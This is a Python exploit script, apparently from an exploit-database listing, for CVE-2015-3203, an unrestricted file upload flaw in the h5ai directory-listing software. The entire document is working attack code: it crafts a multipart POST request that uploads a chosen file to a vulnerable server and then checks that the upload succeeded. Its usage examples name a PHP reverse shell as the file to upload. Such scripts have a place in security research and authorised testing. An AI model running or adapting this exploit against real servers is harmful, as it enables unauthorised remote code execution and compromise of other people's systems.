1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
#!/usr/bin/env python # Exploit Title: h5ai < 0.25.0 Unrestricted File Upload # Date: 21 September 2015 # Exploit Author: rTheory # Vendor Homepage: https://larsjung.de/h5ai/ # Vulnerable Software Link: https://web.archive.org/web/20140208063613/http://release.larsjung.de/h5ai/h5ai-0.24.0.zip # Vulnerable Versions: 0.22.0 - 0.24.1 # Tested on: 0.24.0 running on Apache # CVE : 2015-3203 import urllib import urllib2 import socket import os import getopt import sys # Globals with default options url = '' path = '/' fileName = '' filePath = '' verboseMode = False def header(): print '+-----------------------------------------------+' print '| File upload exploit for h5ai v0.22.0 - 0.24.1 |' print '|See CVE-2015-3203 for vulnerability details|' print '+------------------- rTheory -------------------+' def usage(): print print 'Usage: %s -t target_url -f upload_file' % os.path.basename(__file__) print '-t --target - The URL to connect to' print 'ex: http://example.com' print '-f --file - The file to upload' print 'ex: php-reverse-shell.php' print '-p --path - The path to upload to' print 'Default is \'/\'' print '-v --verbose- Enable more verbose output' print print 'Examples:' print '%s -t http://example.com:8080 -f php-reverse-shell.php' % os.path.basename(__file__) print '%s -t http://192.168.1.100 -f php-reverse-shell.php -p /dir/' % os.path.basename(__file__) sys.exit(0) def main(): global url global path global fileName global filePath global verboseMode header() if not len(sys.argv[4:]): print '[-] Incorrect number of arguments' usage() try: opts, args = getopt.getopt(sys.argv[1:],"ht:f:p:v", ["help","target","file","path","verbose"]) except getopt.GetoptError as err: print str(err) usage() for o,a in opts: if o in ('-h','--help'): usage() elif o in ('-t','--target'): url = a elif o in ('-f','--file'): fileName = a elif o in ('-p','--path'): path = a elif o in ('-v','--verbose'): verboseMode = True else: assert False,"Unhandled Option" # Test target URL, target file, and path inputs for validity if not url.startswith('http'): print '[-] Error: Target URL must start with http:// or https://' usage() if not os.path.isfile(fileName): print '[-] Error: File does not appear to exist' usage() if not (path.startswith('/') and path.endswith('/')): print '[-] Error: Path must start and end with a \'/\'' usage() # Determine target host, which is the URL minus the leading protocol if url.find('http://') != -1: host = url[7:] elif url.find('https://') != -1: host = url[8:] else: host = url # Store the contents of the upload file into a string print '[+] Reading upload file' f = open(fileName,'r') fileContents = f.read() f.close() MPFB = 'multipartformboundary1442784669030' # constant string used for MIME info # Header information. Content-Length not needed. http_header = { "Host" : host, "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0", "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language" : "en-us,en;q=0.5", "Accept-Encoding" : "gzip, deflate", "Content-type" : "multipart/form-data; boundary=------" + MPFB, "X-Requested-With" : "XMLHttpRequest", "Referer" : url + path, "Connection" : "keep-alive" } # POST parameter for file upload payload= '--------'+MPFB+'\r\nContent-Disposition: form-data; name="action"\r\n\r\nupload\r\n' payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="href"\r\n\r\n'+path+'\r\n' payload += '--------'+MPFB+'\r\nContent-Disposition: form-data; name="userfile"; filename="'+fileName+'"\r\nContent-Type: \r\n\r\n'+fileContents+'\r\n' payload += '--------'+MPFB+'--\r\n' socket.setdefaulttimeout(5) opener = urllib2.build_opener() req = urllib2.Request(url, payload, http_header) # submit request and print output. Expected: "code 0" try: print '[+] Sending exploit POST request' res = opener.open(req) html = res.read() if verboseMode: print '[+] Server returned: ' + html except: print '[-] Socket timed out, but it might still have worked...' # close the connection opener.close() # Last step: check to see if the file uploaded (performed outside of this function) filePath = url + path + fileName print '[+] Checking to see if the file uploaded:' print '[+] ' + filePath def postCheck(): # Check to see if the file exists # This may work now that everything from main() was torn down global filePath try: urllib2.urlopen(filePath) print '[+] File uploaded successfully!' except urllib2.HTTPError, e: print '[-] File did not appear to upload' except urllib2.URLError, e: print '[-] File did not appear to upload' main() postCheck() |